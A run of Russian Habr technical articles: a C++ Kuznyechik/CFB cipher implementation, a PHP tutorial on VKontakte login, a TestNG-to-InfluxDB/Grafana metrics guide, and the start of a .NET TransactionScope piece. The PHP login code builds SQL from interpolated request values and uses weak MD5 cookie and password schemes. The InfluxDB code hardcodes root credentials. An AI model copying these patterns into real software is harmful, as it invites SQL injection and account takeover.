COPY titanik_test_final to '/tmp/titanik_test_final.csv';
```
Собственно, данные готовы. Теперь можем попытаться найти закономерности.
Для уменьшения размерности, теперь разреженой таблицы, можно воспользоваться автоэнкодером, либо линейным PCA. Продолжение в следующей части. Планируется применить автоэнкодер и решающий лес и посмотреть на результат, который получиться в турнирной таблице.
**UPD: [Четвертая часть](http://habrahabr.ru/post/173819)** | https://habr.com/ru/post/165283/ | null | ru | null |
# Реализация блочного шифра «Кузнечик» с режимом CFB на С++
Сегодня речь пойдёт о новом алгоритме блочного шифрования «Кузнечик» из стандарта ГОСТ Р 34.12 2015. В последнее время выходит множество публикаций, посвященных этому стандарту. В них с теоретической точки зрения описываются приведённый алгоритм, изучаются особенности отельных преобразований, а так же предлагаются способы оптимизации, путём включения вставок кода на языке ассемблера.
В данной статье я предлагаю читателю ознакомиться с реализацией данного блочного шифра на языке С++. Стоит отметить, что при написании данной программы не преследовалась цель достичь наибольшей эффективности, а основной задачей было показать, как работает алгоритм. Ознакомиться с описанием алгоритма можно в официальной [документации](https://tc26.ru/standard/gost/GOST_R_3412-2015.pdf).
#### Структура программы
Программа состоит из трех частей
* набор вспомогательных функций и классов — mycrypto.cpp mycrypto.hpp
* блочный шифр «Кузнечик» — Kuznyechik.cpp Kuznyechik.hpp
* режим шифрования Cipher Feed Back — modes.hpp
##### Использованные обозначения
```
#define BLOCK_LENGTH 16
typedef unsigned char BYTE;
typedef unsigned short WORD;
```
#### Вспомогательные средства
##### Класс ByteBlock
**Интерфейс ByteBlock**
```
class ByteBlock {
BYTE * pBlocks;
size_t amount_of_bytes;
public:
// Construct block of bytes which contsists of
// size_ blocks each of them with init_value in it
ByteBlock(size_t size_ = 0, BYTE init_value = 0);
// Construct block with size_ first bytes of pBlocks_
// The value will be copied, source stays untouchable
ByteBlock(BYTE * pBlocks_, size_t size_);
// Move constructor
// Copy constructor thus implicitly deleted
// Object to move turn to null
ByteBlock(ByteBlock && rhs);
// Destructor, yeah
~ByteBlock();
// Move assigment operator
// Object to move turn to null
void operator = (ByteBlock && rhs);
// This cast may be convenient to use the ByteBlock
// in functions which takes raw pointers as argument
BYTE * byte_ptr();
const BYTE * byte_ptr() const;
// Indexing operator with evident functionality
BYTE & operator [] (size_t index);
BYTE operator [] (size_t index) const;
bool operator == (const ByteBlock & lhs) const;
bool operator != (const ByteBlock & lhs) const;
// Replace body of the current block with pBlocks_
// Old value will be zerod, and then, deleted
// New value copied into the block,
// source stays untouchable
void reset(const BYTE * pBlocks_, size_t size_);
// Return amount of bytes in block
size_t size() const;
// It'll return deep copy of the block, which
// points to different place in memory
ByteBlock deep_copy() const;
// It'll return slice of current ByteBlock
ByteBlock operator () (size_t begin, size_t length) const;
// Changes values between two ByteBlock-s
friend void swap(ByteBlock & lhs, ByteBlock & rhs);
};
```
Объекты данного класса (далее «сообщения») повсеместно используются в программе для хранения информации в двоичном виде. Интерфейс продумал таким образом, чтобы эффективно решались следующие задачи:
* Хранение байтовых строк произвольной длины
* Обеспечение «единственности» сообщений в памяти
* Обнуление участка памяти перед освобождением памяти
* Обеспечение своевременного удаление сообщений
* Предоставление удобного доступа к отельным байтам, и последовательностей байтов в сообщении
Единственность обеспечивается тем, что конструктор копирования и копирующий оператор присваивания запрещены (неявно), так как описаны аналогичные функции перемещения.
Объекты класса ByteBlock всегда владеют памятью, на которую указывают. Даже когда объект инициализируется с некоторым участком памяти, конструктор копирует его на новое место, и объект работает с копией исходной информации. В некотором смысле данный класс похож на умный указатель из STL — std::unique\_ptr.
Обнуление памяти обеспечивается функцией memset. Стоит заметить, что при сборке данной программы не стоит указывать опции оптимизации, так как некоторые компиляторы имеют свойство игнорировать вызов функции memset, зная, что далее память не будет использована, а вскоре будет удалена.
##### Перевод hex-строк в ByteBlock и обратно
```
std::string hex_representation(const ByteBlock & bb);
ByteBlock hex_to_bytes(const std::string & s);
```
Эти функции преобразовывают входные данные из шестнадцатеричной записи в их байтовое представление, что необходимо для дальнейшей работы программы.
#### Алгоритм «Кузнечик»
**Интерфейс Kuznyechik**
```
class Kuznyechik {
std::vector keys;
static bool is\_init;
public:
static const int block\_lenght { BLOCK\_LENGTH };
Kuznyechik(const ByteBlock & key);
Kuznyechik(const Kuznyechik & rhs);
~Kuznyechik();
void encrypt(const ByteBlock & src, ByteBlock & dst) const;
void decrypt(const ByteBlock & src, ByteBlock & dst) const;
};
```
Поле keys — итерационные ключи, которые вычисляются один раз, во время инициализации объекта по заданному ключу. Поле is\_init — флаг, который указывает, создавались ли когда либо объекты типа Kuznyechik. Данный флаг необходим в связи с тем, что на момент запуска программы многие коэффициенты и параметры алгоритма отсутствуют. При первой инициализации они высчитываются и хранятся в памяти до завершения программы.
С учётом вышесказанного, необходимо прокомментировать наличие конструктора копирования, тогда как внутри класса располагаются объекты ByteBlock, у которых этот конструктор отсутствует. Дело в том, что при копировании происходит поэлементное глубокое копирования итерационных ключей из массива keys.
##### Глобальные переменные и их инициализация
**Используемые глобальные переменные**
```
const vector nonlinear\_transform\_perm = {
252, 238, 221, 17, 207, 110, 49, 22, 251, 196,
250, 218, 35, 197, 4, 77, 233, 119, 240, 219,
147, 46, 153, 186, 23, 54, 241, 187, 20, 205,
95, 193, 249, 24, 101, 90, 226, 92, 239, 33,
129, 28, 60, 66, 139, 1, 142, 79, 5, 132, 2,
174, 227, 106, 143, 160, 6, 11, 237, 152, 127,
212, 211, 31, 235, 52, 44, 81, 234, 200, 72,
171, 242, 42, 104, 162, 253, 58, 206, 204, 181,
112, 14, 86, 8, 12, 118, 18, 191, 114, 19, 71,
156, 183, 93, 135, 21, 161, 150, 41, 16, 123,
154, 199, 243, 145, 120, 111, 157, 158, 178, 177,
50, 117, 25, 61, 255, 53, 138, 126, 109, 84,
198, 128, 195, 189, 13, 87, 223, 245, 36, 169,
62, 168, 67, 201, 215, 121, 214, 246, 124, 34,
185, 3, 224, 15, 236, 222, 122, 148, 176, 188,
220, 232, 40, 80, 78, 51, 10, 74, 167, 151, 96,
115, 30, 0, 98, 68, 26, 184, 56, 130, 100, 159,
38, 65, 173, 69, 70, 146, 39, 94, 85, 47, 140,
163, 165, 125, 105, 213, 149, 59, 7, 88, 179,
64, 134, 172, 29, 247, 48, 55, 107, 228, 136,
217, 231, 137, 225, 27, 131, 73, 76, 63, 248,
254, 141, 83, 170, 144, 202, 216, 133, 97, 32,
113, 103, 164, 45, 43, 9, 91, 203, 155, 37,
208, 190, 229, 108, 82, 89, 166, 116, 210, 230,
244, 180, 192, 209, 102, 175, 194, 57, 75, 99,
182
};
const map direct\_permutation, inverse\_permutation;
const vector linear\_transform\_coeff = {
148, 32, 133, 16, 194, 192, 1, 251, 1, 192,
194, 16, 133, 32, 148, 1
};
const WORD linear\_transform\_modulus = 0x1C3;
const vector iteration\_constants;
```
Именно здесь мы видим те переменные, которые при запуске не хранят необходимые для работы алгоритма значения. Это direct\_permutation, inverse\_permutation, с помощью которых осуществляется нелинейное преобразование, и iteration\_constants, использующиеся для развёртывания ключа. Происходит их заполнение следующим образом:
**Инициализация глобальных переменных**
```
void init_perms() {
map \*p\_direct, \*p\_inverse;
p\_direct = const\_cast< map \* >(&direct\_permutation);
p\_inverse = const\_cast< map \* >(&inverse\_permutation);
for(int i = 0; i < nonlinear\_transform\_perm.size(); i++) {
(\*p\_direct)[i] = nonlinear\_transform\_perm[i];
(\*p\_inverse)[nonlinear\_transform\_perm[i]] = i;
}
}
void init\_consts() {
vector \* p = const\_cast< vector \* >(&iteration\_constants);
ByteBlock v128;
for(BYTE i = 1; i <= 32; i++) {
v128 = ByteBlock(BLOCK\_LENGTH, 0);
v128[BLOCK\_LENGTH - 1] = i;
iteration\_linear\_transform\_direct128(v128.byte\_ptr());
p->push\_back(std::move(v128));
}
}
```
##### Реализация использующихся в алгоритме преобразований
Все преобразования работают с обычными указателями: преобразование из ByteBlock в BYTE \* не требует дополнительных затрат, а проверка на то, что размер выделенной памяти соответствует параметрам шифра, была выполнена на более верхнем уровне.
**Нелинейное прямое преобразование**
```
void nonlinear_transform_direct128(BYTE * target) {
BYTE * p_end = target + BLOCK_LENGTH;
while(target != p_end) {
*target = direct_permutation.at(*target);
target++;
}
}
```
Нелинейное преобразование есть ни что иное, как обычная перестановка.
**Линейное прямое преобразование**
```
void iteration_linear_transform_direct128(BYTE * target) {
for(int i = 0; i < 16; i++)
linear_transform_direct128(target);
}
void linear_transform_direct128(BYTE * target) {
BYTE buffer = linear_transform_core128(target);
for(int i = BLOCK_LENGTH - 1; i > 0; i--)
target[i] = target[i-1];
*target = buffer;
}
BYTE linear_transform_core128(const BYTE * target) {
WORD result = 0;
for(int i = 0; i < BLOCK_LENGTH; i++)
result ^= multiply(target[i], linear_transform_coeff[i]);
return result;
}
WORD multiply(WORD lhs, WORD rhs) {
WORD result = 0, modulus = linear_transform_modulus << 7;
for(WORD detecter = 0x1; detecter != 0x100; detecter <<= 1, lhs <<= 1)
if(rhs & detecter) result ^= lhs;
for(WORD detecter = 0x8000; detecter != 0x80; detecter >>= 1, modulus >>= 1)
if(result & detecter) result ^= modulus;
return result;
}
```
Интересно будет остановиться на функции multiply. Особенность её заключается в том, что при выполнения линейного преобразования все вычисления ведутся в фактор-кольце GL(2)[x]/p(x), где p(x) = x^8 + x^7 + x^6 + x + 1. В первом цикле производится перемножение многочленов, заданных своими коэффициентами из GL(2). Во втором же цикле пошагово вычисляется значение по модулю p(x).
##### Развёртывание итерационных ключей
**Функции формирования итерационных ключей**
```
void keys_transform128(BYTE * k1, BYTE * k2, int iconst) {
BYTE buffer[BLOCK_LENGTH];
memcpy(buffer, k1, BLOCK_LENGTH);
xor128(k1, k1, iteration_constants[iconst].byte_ptr());
nonlinear_transform_direct128(k1);
iteration_linear_transform_direct128(k1);
xor128(k1, k2, k1);
memcpy(k2, buffer, BLOCK_LENGTH);
}
void key_derivation128(BYTE * k1, BYTE * k2, BYTE * k3, BYTE * k4, int ipair) {
if(k1 != k3) memcpy(k3, k1, BLOCK_LENGTH);
if(k2 != k4) memcpy(k4, k2, BLOCK_LENGTH);
for(int i = 0; i < 8; i++)
keys_transform128(k3, k4, ipair * 8 + i);
}
```
И, наконец, алгоритм шифрования в наших обозначениях будет выглядеть следующим образом:
```
void encrypt128(BYTE * target, const vector & keys) {
xor128(target, target, keys[0].byte\_ptr());
for(int i = 1; i < 10; i++) {
nonlinear\_transform\_direct128(target);
iteration\_linear\_transform\_direct128(target);
xor128(target, target, keys[i].byte\_ptr());
}
}
```
Здесь приведены лишь варианты функций, действующий в «прямом» направлении. Другими словами, осуществляющие шифрование. Функции для расшифрования реализуются абсолютно аналогичным образом.
#### Режим шифрования CFB
**Интерфейс CFB\_Mode**
```
template
class CFB\_Mode {
const CipherType algorithm;
const ByteBlock iv;
void decrypt\_with\_iv(const ByteBlock & src, ByteBlock & dst, const ByteBlock & iv\_) const;
public:
CFB\_Mode(const CipherType & alg, const ByteBlock & init\_vec);
void encrypt(const ByteBlock & src, ByteBlock & dst) const;
void decrypt(const ByteBlock & src, ByteBlock & dst) const;
void parallel\_decrypt(const ByteBlock & src, ByteBlock & dst) const;
};
```
Выбор режима блочного шифрования был случаен. По аналогии легко пишутся и другие режимы. У тех, кто знаком с библиотекой CryptoPP может возникнуть чувство дежавю, и это будет оправданно. Ведь именно такой подход к осуществлению взаимодействия блочного шифра и режима шифрования использован в этой библиотеке.
Для того чтобы можно было использовать блочный шифр в тандеме с этим шаблонным классом, класс, его реализующий, должен удовлетворять следующим требованиям:
* Описаны открытые методы encrypt и decrypt с тем же прототипом, что и в классе CFB\_Mode
* Существует открытое поле block\_length, хранящее число байтов, соответствующее длине блока шифра
Очевидно, наш класс Kuznyechik удовлетворяет этим требованиям.
##### Функция шифрования и расшифрования
В этих алгоритмах используются вспомогательные функции, которые разбивают всё сообщений на блоки, кратные длине, на которой работает конкретный блочный шифр, объединяют их обратно, а так же поэлементный xor.
```
std::vector split\_blocks(const ByteBlock & src, size\_t length);
ByteBlock join\_blocks(const std::vector & blocks);
void xor\_blocks(ByteBlock & to\_assign, const ByteBlock & lhs, const ByteBlock & rhs);
```
**Функция шифрования**
```
template
void CFB\_Mode::encrypt(const ByteBlock & src, ByteBlock & dst) const {
auto blocks = split\_blocks(src, CipherType::block\_lenght);
ByteBlock tmp;
algorithm.encrypt(iv, tmp);
xor\_blocks(tmp, tmp, blocks[0]);
blocks[0] = std::move(tmp);
for(int i = 1; i < blocks.size(); i++) {
algorithm.encrypt(blocks[i-1], tmp);
xor\_blocks(tmp, tmp, blocks[i]);
blocks[i] = std::move(tmp);
}
dst = join\_blocks(blocks);
}
```
**Функция расшифрования**
```
template
void CFB\_Mode::decrypt(const ByteBlock & src, ByteBlock & dst) const {
decrypt\_with\_iv(src, dst, iv);
}
template
void CFB\_Mode::decrypt\_with\_iv(const ByteBlock & src, ByteBlock & dst, const ByteBlock & iv\_) const {
auto blocks = split\_blocks(src, CipherType::block\_lenght);
ByteBlock tmp;
algorithm.encrypt(iv\_, tmp);
xor\_blocks(tmp, blocks[0], tmp);
swap(tmp, blocks[0]);
for(int i = 1; i < blocks.size(); i++) {
algorithm.encrypt(tmp, tmp);
xor\_blocks(tmp, blocks[i], tmp);
swap(tmp, blocks[i]);
}
dst = join\_blocks(blocks);
}
```
Решение разбить функцию расшифрования на составные компоненты кажется излишним. Это было бы так, если бы режим шифрования с обратной связью по шифротексту не поддерживал параллелизм для данной процедуры. Далее будет рассмотрен вариант алгоритма расшифрования с использованием потоков std::threads из стандарта C++11.
**Функция расшифрования с использованием параллелизма**
```
template
void CFB\_Mode::parallel\_decrypt(const ByteBlock & src, ByteBlock & dst) const {
// length in blocks of CipherType::block\_lenght
unsigned long const length =
src.size() / CipherType::block\_lenght + (src.size() % CipherType::block\_lenght ? 1 : 0);
// amount of threads which can perform really simultaniously
unsigned long const hardware\_threads = std::thread::hardware\_concurrency();
// blocks of size CipherType::block\_lenght to perform on by one thread
unsigned long const min\_per\_thread = 1;
// amount of threads to satisfy current condition
unsigned long const max\_threads = (length + min\_per\_thread - 1) / min\_per\_thread;
// amount of threads to create
unsigned long const num\_threads = std::min(
hardware\_threads != 0 ? hardware\_threads : 2,
max\_threads
);
// if we aren't able to use multiple threads call common decryptor
if(num\_threads <= 1) {
decrypt(src, dst);
return;
}
std::cerr << "Running " << num\_threads << " threads." << endl;
unsigned long const block\_size = (length / num\_threads) \* CipherType::block\_lenght;
std::vector init\_vectors(num\_threads);
std::vector results(num\_threads);
std::vector threads(num\_threads - 1);
init\_vectors[0] = iv.deep\_copy();
for(int i = 1; i < num\_threads; i++)
init\_vectors[i] = src(i \* block\_size - CipherType::block\_lenght, CipherType::block\_lenght);
unsigned long start\_pos = 0;
for(unsigned long i = 0; i < num\_threads - 1; i++) {
threads[i] = std::thread(
&CFB\_Mode::decrypt\_with\_iv,
this,
src(start\_pos, block\_size),
std::ref( results[i] ),
std::ref( init\_vectors[i] )
);
start\_pos += block\_size;
}
decrypt\_with\_iv(
src(start\_pos, src.size() - start\_pos),
results[num\_threads - 1],
init\_vectors[num\_threads - 1]
);
for(auto & t : threads) t.join();
dst = join\_blocks(results);
}
```
#### Пример программы, шифрующей некоторое сообщение
```
#include "mycrypto.hpp"
#include "Kuznyechik.hpp"
int main() {
ByteBlock key = hex_representation(
"8899aabbccddeeff0011223344556677fedcba98765432100123456789abcdef"
);
ByteBlock iv = hex_representation("abcdef12345600dacdef94756eeabefa");
ByteBlock msg = hex_representation("1122334455667700ffeeddccbbaa9988");
ByteBlock result;
CFB_Mode encryptor(Kuznyechik(key), iv);
encryptor.encrypt(msg, result);
return 0;
}
```
Репозиторий проекта располагается [тут](https://github.com/KoSeAn97/Encryptor-With-Kuznyechik). | https://habr.com/ru/post/313932/ | null | ru | null |
# Авторизация через ВКонтакте, Mail.ru и другие для самых начинающих — 1
На хабре и других ресурсах есть туториалы, однако в каждом упущен какой-нибудь незначительный момент, вопросы по которому можно видеть на различных форумах. Так как недавно столкнулся с задачей подружить один сайт с Контактиком и Майл.ру, то решил, пока свежа память, сделать свое небольшое руководство с блэкджеком так сказать, используя родные виджеты этих социальных сетей.
Итак, начнем с ВКонтакте. Заходим на [страницу подключения сайта](http://vkontakte.ru/editapp?act=create&site=1), в дальнейшем настройки подключенного сайта будут доступны вам на странице [управления приложениями](http://vkontakte.ru/apps?act=settings), там мы узнаем ID приложения и секретный ключ, который естественно раскрывать никому нельзя.
На странице, на которой предполагается кнопочка «Войти через ВКонтакте» требуется добавить в head страницы
> `<script type="text/javascript" src="http://userapi.com/js/api/openapi.js?34">script>`
И инициализировать приложение:
> `VK.init({apiId: \_\_APP\_ID\_\_\_});`
Теперь нужно показать пользователю кнопку через вызов виджета. В качестве параметров Auth принимает id элемента, в который нужно отобразить виджет, ширину и адрес страницы, куда мы будем перенаправлены после попытки доступа.
> `<div id="vk\_auth">div>
>
> <script type="text/javascript">
>
> VK.Widgets.Auth("vk\_auth", {width: "300px", authUrl: '/vklogin.php?'});
>
> script>`
Что увидит пользователь:
После щелчка на «Войти через ВКонтакте» пользователя кидает на страницу вида [vkontakte.ru/widget\_auth.php?act=a\_auth\_user&app=\_\_APP\_ID\_\_&hash=d2d47b3c85d1a091a8](http://vkontakte.ru/widget_auth.php?act=a_auth_user&app=__APP_ID__&hash=d2d47b3c85d1a091a8), затем на url, указанный вами в параметре AuthUrl при вызове виджета. Кидает со следующими GET параметрами:
first\_name (имя), hash (используется для проверки того действительно ли запрос пришел от контакта, а не хакер Вася пытается авторизоваться под чужими данными), last\_name (Фамилия), photo (большая аватарка, 119 пикселей шириной), photo\_rec (маленькая аватарка, 50х50), uid (id пользователя). Пришедшие к нам **параметры я после фильтрации сохранил с такими же именами в глобальной области видимости**.
Теперь нам нужно сделать скрипт vklogin.php, в котором мы будем проверять правильность пришедших данных и, либо авторизовывать пользователя если он уже есть в нашей базе, либо создавать новый аккаунт для пользователя зашедшего к нам впервые.
> `if ($\_REQUEST['hash']==md5('2445355'.$uid.'\_\_SECRET\_KEY\_\_')) {
>
> //доверяем вконтактику, и далее полагаем, что пользователь действительно авторизован там
>
> //для учетных записей пользователей я решил выделить логины вида vk-\*\*\*\*\*\*\*\*
>
> $result = mysql\_query("SELECT id, random, password FROM tracker\_users WHERE username = 'vk-$uid'");
>
> setcookie('uid','');
>
> setcookie('pass','');
>
> if (mysql\_num\_rows($result)) {
>
> //пользователь авторизован, просто пересоздадим куки
>
> $user = mysql\_fetch\_assoc($result);
>
> mysql\_query("UPDATE tracker\_users SET name = '$name' WHERE username = 'vk-$uid' LIMIT 1");
>
> setcookie('pass',md5($user['random'].$user['password'].$user['random']));
>
> setcookie('uid',$user['id']);
>
> } else {
>
> //добавим запись в таблицу пользователей
>
> $random = mt\_rand(100000,999999);
>
> $pwd = $uid . 'verysecretlonglongword-';
>
> $pid=md5(uniqid(rand(),true));
>
> mysql\_query("INSERT INTO tracker\_users
>
> (username, name, password, random, id\_level, email, style, language, flag, joined, lastconnect, pid, time\_offset) VALUES
>
> ('vk-$uid', '$name', '" . md5($pwd) . "', $random, 3, '', 5, 7, 0, NOW(), NOW(),'$pid', '0')");
>
> //вставили строчку, теперь создадим куки и перебросим на другую страницу
>
> setcookie('pass',md5($random.md5($pwd).$random));
>
> setcookie('uid',mysql\_insert\_id());
>
> }
>
> header("Location: /index.php");
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
На сайте, на котором мне необходимо было сделать авторизацию в куках сохраняется id пользователя и хеш от соли и хеша пароля. Решение, конечно, не идеальное, но менять полностью весь движок в мои планы не входило. Если пользователь у нас уже есть мы его авторизуем, создав куки, если он впервые, то добавляем его в базу. Также при каждом заходе мы обновляем данные об именах, потому что пользователь мог его поменять, а мы хотим актуальности.
Кроме этого необходимо перед началом использования подобной авторизации убедиться, что в базе нет пользователей с логинами вида vk- (или с теми, которые вы хотите использовать). Также необходимо запретить регистрироваться через обычную регистрацию используемого движка с логинами вида vk- и запретить пользователям из социальной сети менять себе пароль и, опционально, аватарку с отображаемым именем. Для сайтов, в которых критично использование электронной почты зарегистрированных пользователей необходимо будет также ознакомить ваш движок с тем фактом, что у этих пользователей нет электронной почты.
Опционально можно возле каждого вывода имени пользователя на сайте отдельно выделять, что он авторизовался через социальную сеть:
Если уровень и тематика статьи интересна хабрапользоватям, то я продолжу с майл.ру, facebook и твиттером.
[Вторая часть. Mail.ru](http://habrahabr.ru/blogs/webdev_for_dummies/126872/) | https://habr.com/ru/post/126717/ | null | ru | null |
# Selenium WebDriver – Метрика тестов в реальном времени с использованием Grafana и InfluxDB
Всем привет! Уже на следующей неделе стартуют занятия в группе [«Java QA Engineer»](https://otus.pw/x5Eg/). Этому и будет приурочена нынешняя публикация.
Обзор:
------
Ежедневное выполнение автоматизированных регрессионных тестов в рамках каждодневной сборки неизбежно на настоящий момент. Приятно находить и сообщать об ошибках, сразу после их нахождения. Одновременно с этим проблематично проводить сотни автоматизированных тестов и удаленное параллельное выполнение. Как только у вас появляется набор автоматизированных регрессионных тестов, вы можете разбить его на несколько наборов по бизнес-модулям и запускать их параллельно, как часть ежедневного автоматизированного регрессионного тестирования. Большинство таких тестовых наборов выполняются на удаленной виртуальной машине, а результаты теста становятся доступны только после его выполнения. В противном случае, вы можете заглянуть в консоль jenkins, чтобы увидеть логи процесса выполнения теста. Иногда это раздражает. Было бы здорово иметь приложение, которое выдавало бы информацию о прохождении теста во время выполнения их на удаленных виртуальных машинах.
Давайте посмотрим, как можно создать простую страницу с результатами выполнения теста и панель мониторинга с помощью InfluxDB и Grafana.
Цель:
-----
Мы будет собирать все доступные тестовые метрики, такие как:
* Статус теста-метода
* Продолжительность теста-метода
* Статус класса с тестовыми методами
* Время выполнения тестов одного класса
* Статус набора тестов
* Продолжительность выполнения набора тестов
Некоторые из показателей мы можем получить в режиме реального времени, как показано ниже:
* Количество методов тестирования, сгруппированных по статусу (например: Pass: 30, Failed: 2, Skipped: 2) в конкретный день.
* Тенденция продолжительности выполнения набора тестов за неделю, месяц, год и т.д.
InfluxDB:
---------
InfluxDB – это база данных временных рядов, которая используется для сбора всех метрик тестов. InfluxDB имеет REST API для записи данных и отправки запросов. Больше вы можете узнать [здесь](https://docs.influxdata.com/influxdb/v1.6/tools/api/). Ниже я использую команду docker для запуска экземпляра InfluxDB.
```
sudo docker run -p 8086:8086 -v $PWD:/var/lib/influxdb influxdb
```
Создание базы данных:
---------------------
У нас уже поднята и запущена база данных InfluxDB. Давайте создадим отдельную схему базы данных для сбора результатов тестов Selenium. Ниже я запускаю команду в терминале, чтобы создать в базе данных схему под названием «selenium». (Проверьте URL адрес, замените localhost на hostname/ipaddress, если запускаете не на текущем компьютере).
```
curl -i -XPOST http://localhost:8086/query --data-urlencode "q=CREATE DATABASE selenium"
```
TestNG:
-------
Давайте создадим простой тест testNG:
```
public class SampleTest {
@Test(description = "login")
public void login(){
}
@Test(description = "search for flights", dependsOnMethods = "login")
public void search(){
}
@Test(description = "select flight", dependsOnMethods = "search")
public void select(){
}
@Test(description = "book flight", dependsOnMethods = "select")
public void book(){
}
@Test(description = "logout", dependsOnMethods = "book")
public void logout(){
}
}
```
Нашей целью является сбор результатов теста в InfluxDB во время выполнения. Итак, нам понадобится драйвер/библиотека в Java для InfluxDB.
Зависимости Maven:
------------------
Добавьте зависимости Maven, указанные далее:
```
org.influxdb
influxdb-java
2.12
```
Слушатели:
----------
Слушатели (listeners) TestNG отлично подходят для прослушивания событий и могут реагировать в зависимости от произошедшего события. Сначала давайте создадим простой класс, который отвечает за отправку результатов в InfluxDB.
```
import org.influxdb.InfluxDB;
import org.influxdb.InfluxDBFactory;
import org.influxdb.dto.Point;
public class ResultSender {
private static final InfluxDB INFLXUDB = InfluxDBFactory.connect("http://localhost:8086", "root", "root");
private static final String DATABASE = "selenium";
static{
INFLXUDB.setDatabase(DATABASE);
}
public static void send(final Point point){
INFLXUDB.write(point);
}
}
```
Теперь создадим другой класс, который реализует интерфейс ITestListener.
```
import org.influxdb.dto.Point;
import org.testng.ITestContext;
import org.testng.ITestListener;
import org.testng.ITestResult;
import java.util.concurrent.TimeUnit;
public class ExecutionListener implements ITestListener {
public void onTestStart(ITestResult iTestResult) {
}
public void onTestSuccess(ITestResult iTestResult) {
this.sendTestMethodStatus(iTestResult, "PASS");
}
public void onTestFailure(ITestResult iTestResult) {
this.sendTestMethodStatus(iTestResult, "FAIL");
}
public void onTestSkipped(ITestResult iTestResult) {
this.sendTestMethodStatus(iTestResult, "SKIPPED");
}
public void onTestFailedButWithinSuccessPercentage(ITestResult iTestResult) {
}
public void onStart(ITestContext iTestContext) {
}
public void onFinish(ITestContext iTestContext) {
this.sendTestClassStatus(iTestContext);
}
private void sendTestMethodStatus(ITestResult iTestResult, String status) {
Point point = Point.measurement("testmethod")
.time(System.currentTimeMillis(), TimeUnit.MILLISECONDS)
.tag("testclass", iTestResult.getTestClass().getName())
.tag("name", iTestResult.getName())
.tag("description", iTestResult.getMethod().getDescription())
.tag("result", status)
.addField("duration", (iTestResult.getEndMillis() - iTestResult.getStartMillis()))
.build();
ResultSender.send(point);
}
private void sendTestClassStatus(ITestContext iTestContext) {
Point point = Point.measurement("testclass")
.time(System.currentTimeMillis(), TimeUnit.MILLISECONDS)
.tag("name", iTestContext.getAllTestMethods()[0].getTestClass().getName())
.addField("duration", (iTestContext.getEndDate().getTime() - iTestContext.getStartDate().getTime()))
.build();
ResultSender.send(point);
}
}
```
> Примечание: Используйте дополнительный тег, отвечающий вашим задачам в приведенном выше примере, чтобы классифицировать результаты. Например tag(“scenario”, “login flow”).
Слушатель (listener) из примера выше будет мониторить выполнение теста и как только определенный метод/класс теста будет выполнен, он отправит имя, продолжительность и кое-какие дополнительные детали. Моя цель здесь – просто подкинуть вам идею. Меняйте код в соответствии с вашими нуждами.
Теперь добавьте слушателя в XML-пакет или в базовый класс TestNG.
```
```
Или же:
```
@Listeners(ExecutionListener.class)
public class SampleTest {
@Test
public void test(){
}
}
```
Grafana:
--------
Мы добились отправки результатов в InfluxDB. Но как запрашивать результаты и визуализировать полученные данные? Для этого мы будет использовать другой бесплатный инструмент под названием “Grafana”.
Grafana является отличным инструментом визуализации для данных временных рядов, она прекрасно взаимодействует с InfluxDB. Ниже приведены команды docker для создания экземпляра Grafana. [плагин piechart является необязательным в команде, его можно удалить, если в нем нет надобности]
```
docker run -d -p 3000:3000
--name=grafana \
-e "GF_INSTALL_PLUGINS=grafana-piechart-panel" \
-v $PWD:/var/lib/grafana \
grafana/grafana
```
Источник данных для Grafana:
----------------------------
Перейдите в *Settings -> Data sources -> Add new data source*, как показано на скриншоте. Нажмите на кнопку ‘Save & Test’, чтобы удостовериться, что Grafana может общаться с InfluxDB.
> Примечание: Если вы используете Grafana с Docker и пытаетесь получить доступ как ‘Server default’, НЕ ИСПОЛЬЗУЙТЕ localhost в строке подключения к InfluxDB. Все потому, что здесь localhost – это контейнер Grafana, а не физическая машина. Таким образом контейнер Grafana не сможет найти InfluxDB.
Создание панели мониторинга:
----------------------------
Мне бы хотелось, чтобы вы посмотрели это видео, поскольку объяснить в статье все нюансы непросто. Именно для этого я записал отельное видео.
**Демо 2:**
Подведем итог:
--------------
Надеюсь, получение результатов в реальном времени с помощью InfluxDB и Grafana оказалось вам интересно и полезно. Оно требует минимальных изменений в существующей структуре, ведь мы используем слушателей TestNG. Удалить слушателя из файла набора/базового класса достаточно, чтобы отключить эту функцию, если вам она не нужна. Такой подход поможет избежать некой фрустрации в команде, если ее члены только и занимаются тем, что мониторят результаты тестов через консольный ввод/вывод на удаленной машине. В этой статье лишь изложена основная идея. Вы можете улучшить этот подход, добавив больше информации, например, тестовую среду, добавить дополнительные фильтры для обновления данных в диаграммах для конкретной среды/тестов и т.д.
Вот такой короткий, но довольно полезный материал. Традиционно ждем ваши комментарии, а также напоминаем о том, что уже сегодня пройдет [день открытых дверей](https://otus.pw/vIWo/) по курсу, записаться на который может каждый желающий. | https://habr.com/ru/post/452908/ | null | ru | null |
# TransactionScope — заманчивый, но коварный
Давным-давно вышел ADO.NET 2.0, а вместе с ним и сборка System.Transactions, содержащая класс TransactionScope — путеводитель в мир легкого и непринужденного использования транзакций. В сегодняшней статье я рассмотрю некоторые нюансы, возникающие при использовании этой дырявой, но такой симпатичной абстракции.
Итак, начиная с ADO.NET 2.0, для того чтобы заключить свой код в транзакцию, разработчику достаточно расположить его внутри блока TransactionScope:
```
using (var transactionScope = new TransactionScope(TransactionScopeOption.Suppress, new TransactionOptions() { IsolationLevel = IsolationLevel.Serializable })
{
//код внутри транзакции
transactionScope.Complete();
}
```
Я использовал в конструкторе наиболее важные параметры — давайте их рассмотрим (в обратном порядке).
##### IsolationLevel
Старый-добрый [IsolationLevel](http://en.wikipedia.org/wiki/Isolation_(database_systems)). Enum IsolationLevel включает целых 7 уровней изоляции, но не обольщайтесь — эти значения трактуются лишь как рекомендации ADO.NET провайдеру, а использовать можно лишь те уровни, который поддерживаются вашей СУБД.
По умолчанию используется самый высокий уровень изоляции — Serializable, и мне даже попадалась критика на этот счет: мол, не ~~по-пацански~~ по стандарту это (в стандарте в качестве дефолтного рекомендуется использовать Read Committed). Мне же это решение наоборот по душе: по умолчанию используется самый надежный режим, а при необходимости улучшить производительность или побороть deadlock'и — всегда можно перейти на более мягкий режим.
Кстати, менять Isolation Level в ходе транзакции нельзя.
##### TransactionScopeOption
Enum TransactionScopeOption содержит три значения: Requires, RequiresNew, Suppress, которые определяют поведение при входе в блок TransactionScope. Поведение при всех возможных случаях TransactionScopeOption отлично описано в [msdn](http://msdn.microsoft.com/en-us/library/ms172152(v=vs.90).aspx), а я лишь обобщу:
